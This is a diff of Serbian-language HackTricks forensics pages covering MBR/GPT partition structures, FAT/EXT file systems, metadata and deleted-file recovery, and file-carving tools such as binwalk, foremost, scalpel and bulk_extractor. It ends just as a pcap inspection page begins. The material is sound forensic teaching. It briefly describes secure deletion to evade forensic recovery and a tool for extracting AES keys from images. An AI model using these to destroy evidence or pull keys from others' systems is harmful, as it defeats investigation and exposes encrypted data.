* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Particije
|
||||||
|
|
||||||
|
Tvrdi disk ili **SSD disk mogu sadržati različite particije** sa ciljem fizičkog razdvajanja podataka.\
|
||||||
|
**Minimalna** jedinica diska je **sektor** (obično sastavljen od 512B). Dakle, veličina svake particije mora biti višekratnik te veličine.
|
||||||
|
|
||||||
|
### MBR (master Boot Record)
|
||||||
|
|
||||||
|
Nalazi se u **prvom sektoru diska nakon 446B boot koda**. Taj sektor je bitan jer pokazuje računaru šta i odakle treba da se montira particija.\
|
||||||
|
Dozvoljava do **4 particije** (najviše **samo 1** može biti aktivna/**bootable**). Međutim, ako vam je potrebno više particija, možete koristiti **proširene particije**. **Poslednji bajt** ovog prvog sektora je potpis boot zapisa **0x55AA**. Samo jedna particija može biti označena kao aktivna.\
|
||||||
|
MBR dozvoljava **maksimalno 2.2TB**.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (489).png>)
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (490).png>)
|
||||||
|
|
||||||
|
Od **bajtova 440 do 443** MBR-a možete pronaći **Windows Disk Signature** (ako se koristi Windows). Logičko slovo drajva tvrdog diska zavisi od Windows Disk Signature-a. Menjanje ovog potpisa može sprečiti Windows da se podigne (alat: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (493).png>)
|
||||||
|
|
||||||
|
**Format**
|
||||||
|
|
||||||
|
| Offset | Dužina | Stavka |
|
||||||
|
| ----------- | ---------- | ----------------- |
|
||||||
|
| 0 (0x00) | 446(0x1BE) | Boot kod |
|
||||||
|
| 446 (0x1BE) | 16 (0x10) | Prva particija |
|
||||||
|
| 462 (0x1CE) | 16 (0x10) | Druga particija |
|
||||||
|
| 478 (0x1DE) | 16 (0x10) | Treća particija |
|
||||||
|
| 494 (0x1EE) | 16 (0x10) | Četvrta particija |
|
||||||
|
| 510 (0x1FE) | 2 (0x2) | Potpis 0x55 0xAA |
|
||||||
|
|
||||||
|
**Format Zapisa Particije**
|
||||||
|
|
||||||
|
| Offset | Dužina | Stavka |
|
||||||
|
| --------- | -------- | ---------------------------------------------------------- |
|
||||||
|
| 0 (0x00) | 1 (0x01) | Aktivna oznaka (0x80 = bootable) |
|
||||||
|
| 1 (0x01) | 1 (0x01) | Početna glava |
|
||||||
|
| 2 (0x02) | 1 (0x01) | Početni sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) |
|
||||||
|
| 3 (0x03) | 1 (0x01) | Najnižih 8 bitova cilindra početka |
|
||||||
|
| 4 (0x04) | 1 (0x01) | Kod tipa particije (0x83 = Linux) |
|
||||||
|
| 5 (0x05) | 1 (0x01) | Krajnja glava |
|
||||||
|
| 6 (0x06) | 1 (0x01) | Krajnji sektor (bitovi 0-5); gornji bitovi cilindra (6- 7) |
|
||||||
|
| 7 (0x07) | 1 (0x01) | Najnižih 8 bitova cilindra kraja |
|
||||||
|
| 8 (0x08) | 4 (0x04) | Sektori pre particije (little endian) |
|
||||||
|
| 12 (0x0C) | 4 (0x04) | Sektori u particiji |
|
||||||
|
|
||||||
|
Da biste montirali MBR u Linux-u prvo morate dobiti početni offset (možete koristiti `fdisk` i komandu `p`)
|
||||||
|
|
||||||
|
![](https://github.com/carlospolop/hacktricks/blob/rs/.gitbook/assets/image%20\(413\)%20\(3\)%20\(3\)%20\(3\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(12\).png)
|
||||||
|
|
||||||
|
Zatim koristite sledeći kod
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#Mount MBR in Linux
|
||||||
|
mount -o ro,loop,offset=<Bytes>
|
||||||
|
#63x512 = 32256Bytes
|
||||||
|
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||||
|
```
|
||||||
|
|
||||||
|
**LBA (Logical block addressing)**
|
||||||
|
|
||||||
|
**Logičko blok adresiranje** (**LBA**) je uobičajena šema korišćena za **specifikaciju lokacije blokova** podataka smeštenih na računarskim uređajima za skladištenje, uglavnom sekundarnim skladišnim sistemima poput hard disk drajvova. LBA je posebno jednostavna linearna adresna šema; **blokovi se lociraju pomoću celobrojnog indeksa**, pri čemu je prvi blok LBA 0, drugi LBA 1, i tako dalje.
|
||||||
|
|
||||||
|
### GPT (GUID Partition Table)
|
||||||
|
|
||||||
|
GUID Partition Table, poznata kao GPT, preferira se zbog svojih unapređenih mogućnosti u poređenju sa MBR (Master Boot Record). Karakteristična po svom **globalno jedinstvenom identifikatoru** za particije, GPT se ističe na nekoliko načina:
|
||||||
|
|
||||||
|
* **Lokacija i Veličina**: I GPT i MBR počinju na **sektoru 0**. Međutim, GPT radi na **64 bita**, za razliku od MBR-ovih 32 bita.
|
||||||
|
* **Ograničenja particija**: GPT podržava do **128 particija** na Windows sistemima i može da primi do **9.4ZB** podataka.
|
||||||
|
* **Imena particija**: Omogućava mogućnost imenovanja particija sa do 36 Unicode karaktera.
|
||||||
|
|
||||||
|
**Otpornost i Obnova Podataka**:
|
||||||
|
|
||||||
|
* **Redundantnost**: Za razliku od MBR-a, GPT ne ograničava particionisanje i podatke o podizanju na jednom mestu. Ona replicira ove podatke širom diska, poboljšavajući integritet i otpornost podataka.
|
||||||
|
* **Ciklična Redundantna Provera (CRC)**: GPT koristi CRC kako bi osigurala integritet podataka. Aktivno nadgleda korupciju podataka, i kada je detektovana, GPT pokušava da povrati oštećene podatke sa druge lokacije na disku.
|
||||||
|
|
||||||
|
**Zaštitni MBR (LBA0)**:
|
||||||
|
|
||||||
|
* GPT održava kompatibilnost unazad putem zaštitnog MBR-a. Ova funkcija se nalazi u prostoru za stari MBR, ali je dizajnirana da spreči starije MBR-bazirane alatke da greškom prepišu GPT diskove, čime se čuva integritet podataka na GPT-formatiranim diskovima.
|
||||||
|
|
||||||
|
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>)
|
||||||
|
|
||||||
|
**Hibridni MBR (LBA 0 + GPT)**
|
||||||
|
|
||||||
|
[Od Vikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||||
|
|
||||||
|
U operativnim sistemima koji podržavaju **GPT bazirano podizanje putem BIOS** servisa umesto EFI, prvi sektor se može koristiti za skladištenje prvog koraka **koda podizanja** (bootloader), ali **modifikovanog** da prepozna **GPT** **particije**. Bootloader u MBR-u ne sme pretpostaviti veličinu sektora od 512 bajtova.
|
||||||
|
|
||||||
|
**Zaglavlje particionog tabele (LBA 1)**
|
||||||
|
|
||||||
|
[Od Vikipedije](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||||
|
|
||||||
|
Zaglavlje particione tabele definiše upotrebljive blokove na disku. Takođe definiše broj i veličinu unosa particija koji čine particionu tabelu (ofseti 80 i 84 u tabeli).
|
||||||
|
|
||||||
|
| Ofset | Dužina | Sadržaj |
|
||||||
|
| --------- | ---------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| 0 (0x00) | 8 bajtova | Potpis ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h ili 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)na malo-endijanskim mašinama) |
|
||||||
|
| 8 (0x08) | 4 bajta | Revizija 1.0 (00h 00h 01h 00h) za UEFI 2.8 |
|
||||||
|
| 12 (0x0C) | 4 bajta | Veličina zaglavlja u malom endijanu (u bajtovima, obično 5Ch 00h 00h 00h ili 92 bajta) |
|
||||||
|
| 16 (0x10) | 4 bajta | [CRC32](https://en.wikipedia.org/wiki/CRC32) zaglavlja (ofset +0 do veličine zaglavlja) u malom endijanu, pri čemu je ovo polje nula tokom računanja |
|
||||||
|
| 20 (0x14) | 4 bajta | Rezervisano; mora biti nula |
|
||||||
|
| 24 (0x18) | 8 bajtova | Trenutni LBA (lokacija ovog kopiranog zaglavlja) |
|
||||||
|
| 32 (0x20) | 8 bajtova | Rezervisano LBA (lokacija drugog kopiranog zaglavlja) |
|
||||||
|
| 40 (0x28) | 8 bajtova | Prvi upotrebljivi LBA za particije (poslednji LBA primarne particione tabele + 1) |
|
||||||
|
| 48 (0x30) | 8 bajtova | Poslednji upotrebljivi LBA (prvi LBA sekundarne particione tabele − 1) |
|
||||||
|
| 56 (0x38) | 16 bajtova | Disk GUID u mešovitom endijanu |
|
||||||
|
| 72 (0x48) | 8 bajtova | Početni LBA niza unosa particija (uvek 2 u primarnom kopiranju) |
|
||||||
|
| 80 (0x50) | 4 bajta | Broj unosa particija u nizu |
|
||||||
|
| 84 (0x54) | 4 bajta | Veličina jednog unosa particije (obično 80h ili 128) |
|
||||||
|
| 88 (0x58) | 4 bajta | CRC32 niza unosa particija u malom endijanu |
|
||||||
|
| 92 (0x5C) | \* | Rezervisano; moraju biti nule za ostatak bloka (420 bajtova za veličinu sektora od 512 bajtova; ali može biti više sa većim veličinama sektora) |
|
||||||
|
|
||||||
|
**Unosi particija (LBA 2–33)**
|
||||||
|
|
||||||
|
| Format unosa particije GUID | | |
|
||||||
|
| --------------------------- | ---------- | --------------------------------------------------------------------------------------------------------------------- |
|
||||||
|
| Ofset | Dužina | Sadržaj |
|
||||||
|
| 0 (0x00) | 16 bajtova | [GUID particije tipa](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs) (mešoviti endijan) |
|
||||||
|
| 16 (0x10) | 16 bajtova | Jedinstveni GUID particije (mešoviti endijan) |
|
||||||
|
| 32 (0x20) | 8 bajtova | Prvi LBA ([mali endijan](https://en.wikipedia.org/wiki/Little\_endian)) |
|
||||||
|
| 40 (0x28) | 8 bajtova | Poslednji LBA (inkluzivno, obično neparan) |
|
||||||
|
| 48 (0x30) | 8 bajtova | Zastavice atributa (npr. bit 60 označava samo za čitanje) |
|
||||||
|
| 56 (0x38) | 72 bajta | Ime particije (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE jedinica koda) |
|
||||||
|
|
||||||
|
**Tipovi Particija**
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (492).png>)
|
||||||
|
|
||||||
|
Više tipova particija na [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||||
|
|
||||||
|
### Inspekcija
|
||||||
|
|
||||||
|
Nakon montiranja forenzičke slike sa [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), možete pregledati prvi sektor koristeći Windows alatku [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** Na sledećoj slici detektovan je **MBR** na **sektoru 0** i interpretiran:
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (494).png>)
|
||||||
|
|
||||||
|
Da je to bio **GPT sto umesto MBR-a**, trebalo bi da se pojavi potpis _EFI PART_ u **sektoru 1** (koji je prazan na prethodnoj slici).
|
||||||
|
|
||||||
|
## Fajl-sistemi
|
||||||
|
|
||||||
|
### Lista Windows fajl-sistema
|
||||||
|
|
||||||
|
* **FAT12/16**: MSDOS, WIN95/98/NT/200
|
||||||
|
* **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
|
||||||
|
* **ExFAT**: 2008/2012/2016/VISTA/7/8/10
|
||||||
|
* **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
|
||||||
|
* **ReFS**: 2012/2016
|
||||||
|
|
||||||
|
### FAT
|
||||||
|
|
||||||
|
**FAT (File Allocation Table)** fajl-sistem je dizajniran oko svoje osnovne komponente, tabele alokacije fajlova, koja se nalazi na početku zapremine. Ovaj sistem štiti podatke održavanjem **dve kopije** tabele, obezbeđujući integritet podataka čak i ako je jedna oštećena. Tabela, zajedno sa korenskim folderom, mora biti na **fiksnom mestu**, ključnom za proces pokretanja sistema.
|
||||||
|
|
||||||
|
Osnovna jedinica skladištenja fajl-sistema je **klaster, obično 512B**, koji se sastoji od više sektora. FAT se razvijao kroz verzije:
|
||||||
|
|
||||||
|
* **FAT12**, podržava 12-bitne adrese klastera i upravlja do 4078 klastera (4084 sa UNIX-om).
|
||||||
|
* **FAT16**, unapređenje na 16-bitne adrese, čime se može smestiti do 65.517 klastera.
|
||||||
|
* **FAT32**, dalje napredovanje sa 32-bitnim adresama, omogućavajući impresivnih 268.435.456 klastera po zapremini.
|
||||||
|
|
||||||
|
Značajno ograničenje kroz verzije FAT-a je **maksimalna veličina fajla od 4GB**, nametnuta 32-bitnim poljem korišćenim za skladištenje veličine fajla.
|
||||||
|
|
||||||
|
Ključne komponente korenskog direktorijuma, posebno za FAT12 i FAT16, uključuju:
|
||||||
|
|
||||||
|
* **Ime fajla/foldera** (do 8 karaktera)
|
||||||
|
* **Atributi**
|
||||||
|
* **Datumi kreiranja, modifikacije i poslednjeg pristupa**
|
||||||
|
* **Adresa FAT tabele** (ukazujući na početni klaster fajla)
|
||||||
|
* **Veličina fajla**
|
||||||
|
|
||||||
|
### EXT
|
||||||
|
|
||||||
|
**Ext2** je najčešći fajl-sistem za **particije bez dnevnika** (**particije koje se retko menjaju**), poput boot particije. **Ext3/4** su **sa dnevnikom** i obično se koriste za **ostale particije**.
|
||||||
|
|
||||||
|
## **Metapodaci**
|
||||||
|
|
||||||
|
Neki fajlovi sadrže metapodatke. Ove informacije se odnose na sadržaj fajla koji ponekad može biti zanimljiv analitičaru jer, u zavisnosti od tipa fajla, može sadržati informacije poput:
|
||||||
|
|
||||||
|
* Naslov
|
||||||
|
* Korišćena verzija MS Office-a
|
||||||
|
* Autor
|
||||||
|
* Datumi kreiranja i poslednje modifikacije
|
||||||
|
* Model kamere
|
||||||
|
* GPS koordinate
|
||||||
|
* Informacije o slici
|
||||||
|
|
||||||
|
Možete koristiti alate poput [**exiftool**](https://exiftool.org) i [**Metadiver**](https://www.easymetadata.com/metadiver-2/) da biste dobili metapodatke fajla.
|
||||||
|
|
||||||
|
## **Obnova obrisanih fajlova**
|
||||||
|
|
||||||
|
### Evidentirani obrisani fajlovi
|
||||||
|
|
||||||
|
Kao što je već viđeno, postoji nekoliko mesta gde se fajl i dalje čuva nakon što je "obrisan". To je zato što brisanje fajla iz fajl-sistema obično označava kao obrisano, ali podaci nisu dirani. Zatim je moguće pregledati registre fajlova (poput MFT-a) i pronaći obrisane fajlove.
|
||||||
|
|
||||||
|
Takođe, OS obično čuva mnogo informacija o promenama fajl-sistema i rezervnim kopijama, pa je moguće pokušati ih koristiti za obnovu fajla ili što više informacija.
|
||||||
|
|
||||||
|
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||||
|
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### **Izvlačenje fajlova**
|
||||||
|
|
||||||
|
**Izvlačenje fajlova** je tehnika koja pokušava **pronaći fajlove u masi podataka**. Postoje 3 glavna načina rada alata poput ovog: **Na osnovu zaglavlja i podnožja tipova fajlova**, na osnovu **strukture tipova fajlova** i na osnovu **sadržaja** samog fajla.
|
||||||
|
|
||||||
|
Imajte na umu da ova tehnika **ne funkcioniše za povrat fragmentiranih fajlova**. Ako fajl **nije smešten u susednim sektorima**, tada ova tehnika neće moći da ga pronađe ili bar deo njega.
|
||||||
|
|
||||||
|
Postoje različiti alati koje možete koristiti za izvlačenje fajlova, navodeći tipove fajlova koje želite pretraživati.
|
||||||
|
|
||||||
|
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||||
|
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### Izvlačenje podataka iz **struja**
|
||||||
|
|
||||||
|
Izvlačenje podataka iz struja slično je izvlačenju fajlova, ali **umesto traženja kompletnih fajlova, traži zanimljive fragmente** informacija.\
|
||||||
|
Na primer, umesto traženja kompletnog fajla koji sadrži evidentirane URL-ove, ovom tehnikom će se tražiti URL-ovi.
|
||||||
|
|
||||||
|
{% content-ref url="file-data-carving-recovery-tools.md" %}
|
||||||
|
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
### Bezbedno brisanje
|
||||||
|
|
||||||
|
Očigledno, postoje načini za **"sigurno" brisanje fajlova i delova zapisa o njima**. Na primer, moguće je **prepisati sadržaj** fajla sa beskorisnim podacima nekoliko puta, a zatim **ukloniti** zapise iz **$MFT** i **$LOGFILE** o fajlu, i **ukloniti kopije senki zapisa**.\
|
||||||
|
Možda ćete primetiti da čak i nakon sprovođenja te radnje, postoji **još delova gde je postojanje fajla evidentirano**, što je tačno, a deo posla forenzičara je da ih pronađe.
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
* [https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)
|
||||||
|
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
|
||||||
|
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
|
||||||
|
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
|
||||||
|
* **iHackLabs Certified Digital Forensics Windows**
|
|
@ -0,0 +1,123 @@
|
||||||
|
# Alatke za izdvajanje i obnavljanje podataka
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
|
## Alatke za izdvajanje i obnavljanje
|
||||||
|
|
||||||
|
Više alatki na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||||
|
|
||||||
|
### Autopsy
|
||||||
|
|
||||||
|
Najčešće korišćeni alat u forenzici za izdvajanje fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte ga i pustite da obradi fajl kako bi pronašao "skrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove.
|
||||||
|
|
||||||
|
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||||
|
|
||||||
|
**Binwalk** je alat za analizu binarnih fajlova radi pronalaženja ugrađenog sadržaja. Može se instalirati putem `apt` i njegov izvorni kod se nalazi na [GitHub-u](https://github.com/ReFirmLabs/binwalk).
|
||||||
|
|
||||||
|
**Korisne komande**:
|
||||||
|
```bash
|
||||||
|
sudo apt install binwalk #Insllation
|
||||||
|
binwalk file #Displays the embedded data in the given file
|
||||||
|
binwalk -e file #Displays and extracts some files from the given file
|
||||||
|
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||||
|
```
|
||||||
|
### Foremost
|
||||||
|
|
||||||
|
Još jedan čest alat za pronalaženje skrivenih datoteka je **foremost**. Konfiguracionu datoteku za foremost možete pronaći u `/etc/foremost.conf`. Ako želite da pretražujete samo određene datoteke, uklonite komentare ispred njih. Ako ne uklonite komentare, foremost će pretraživati prema svojim podrazumevano konfigurisanim tipovima datoteka.
|
||||||
|
```bash
|
||||||
|
sudo apt-get install foremost
|
||||||
|
foremost -v -i file.img -o output
|
||||||
|
#Discovered files will appear inside the folder "output"
|
||||||
|
```
|
||||||
|
### **Skalpel**
|
||||||
|
|
||||||
|
**Skalpel** je još jedan alat koji se može koristiti za pronalaženje i izdvajanje **datoteka ugrađenih u datoteku**. U ovom slučaju, moraćete da uklonite komentare iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) za vrste datoteka koje želite da izdvojite.
|
||||||
|
```bash
|
||||||
|
sudo apt-get install scalpel
|
||||||
|
scalpel file.img -o output
|
||||||
|
```
|
||||||
|
### Bulk Extractor
|
||||||
|
|
||||||
|
Ovaj alat dolazi unutar kali distribucije, ali ga možete pronaći ovde: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||||
|
|
||||||
|
Ovaj alat može skenirati sliku i **izdvojiti pcaps** unutar nje, **informacije o mreži (URL-ovi, domeni, IP adrese, MAC adrese, mejlovi)** i više **datoteka**. Samo treba da uradite:
|
||||||
|
```
|
||||||
|
bulk_extractor memory.img -o out_folder
|
||||||
|
```
|
||||||
|
### PhotoRec
|
||||||
|
|
||||||
|
Možete ga pronaći na [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)
|
||||||
|
|
||||||
|
Dolazi sa GUI i CLI verzijama. Možete odabrati **tipove datoteka** koje želite da PhotoRec pretražuje.
|
||||||
|
|
||||||
|
![](<../../../.gitbook/assets/image (524).png>)
|
||||||
|
|
||||||
|
### binvis
|
||||||
|
|
||||||
|
Proverite [kod](https://code.google.com/archive/p/binvis/) i [web stranicu alata](https://binvis.io/#/).
|
||||||
|
|
||||||
|
#### Funkcije BinVis
|
||||||
|
|
||||||
|
* Vizuelni i aktivni **pregled strukture**
|
||||||
|
* Više grafikona za različite fokusne tačke
|
||||||
|
* Fokusiranje na delove uzorka
|
||||||
|
* **Videti niske i resurse**, u PE ili ELF izvršnim datotekama npr.
|
||||||
|
* Dobijanje **obrazaca** za kriptoanalizu datoteka
|
||||||
|
* **Otkrivanje** algoritama pakovanja ili enkodiranja
|
||||||
|
* **Identifikacija** steganografije po obrascima
|
||||||
|
* **Vizuelno** binarno diferenciranje
|
||||||
|
|
||||||
|
BinVis je odlično **polazište za upoznavanje sa nepoznatim ciljem** u scenariju crne kutije.
|
||||||
|
|
||||||
|
## Specifični alati za izvlačenje podataka
|
||||||
|
|
||||||
|
### FindAES
|
||||||
|
|
||||||
|
Pretražuje AES ključeve tražeći njihove rasporede ključeva. Može pronaći 128, 192 i 256 bitne ključeve, poput onih koje koriste TrueCrypt i BitLocker.
|
||||||
|
|
||||||
|
Preuzmite [ovde](https://sourceforge.net/projects/findaes/).
|
||||||
|
|
||||||
|
## Komplementarni alati
|
||||||
|
|
||||||
|
Možete koristiti [**viu** ](https://github.com/atanunq/viu) da vidite slike iz terminala.\
|
||||||
|
Možete koristiti linux alat komandne linije **pdftotext** da transformišete pdf u tekst i pročitate ga.
|
||||||
|
|
||||||
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od početka do naprednog nivoa sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,303 @@
|
||||||
|
# Pregled Pcap datoteka
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
[**RootedCON**](https://www.rootedcon.com/) je najrelevantniji kibernetički događaj u **Španiji** i jedan od najvažnijih u **Evropi**. Sa **misijom promovisanja tehničkog znanja**, ovaj kongres je ključno mesto susreta tehnoloških i kibernetičkih profesionalaca u svakoj disciplini.
|
||||||
|
|
||||||
|
{% embed url="https://www.rootedcon.com/" %}
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
Napomena o **PCAP** vs **PCAPNG**: postoje dve verzije PCAP formata; **PCAPNG je novija i nije podržana od svih alata**. Možda ćete morati da konvertujete datoteku iz PCAPNG u PCAP koristeći Wireshark ili drugi kompatibilni alat, kako biste je mogli koristiti u nekim drugim alatima.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Online alati za pcap datoteke
|
||||||
|
|
||||||
|
* Ako je zaglavlje vaše pcap datoteke **oštećeno**, trebali biste pokušati da ga **popravite** koristeći: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||||
|
* Izdvojite **informacije** i pretražujte **malver** unutar pcap datoteke na [**PacketTotal**](https://packettotal.com)
|
||||||
|
* Pretražujte **zlonamerne aktivnosti** koristeći [**www.virustotal.com**](https://www.virustotal.com) i [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||||
|
|
||||||
|
## Izdvajanje informacija
|
||||||
|
|
||||||
|
Sledeći alati su korisni za izdvajanje statistika, datoteka, itd.
|
||||||
|
|
||||||
|
### Wireshark
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
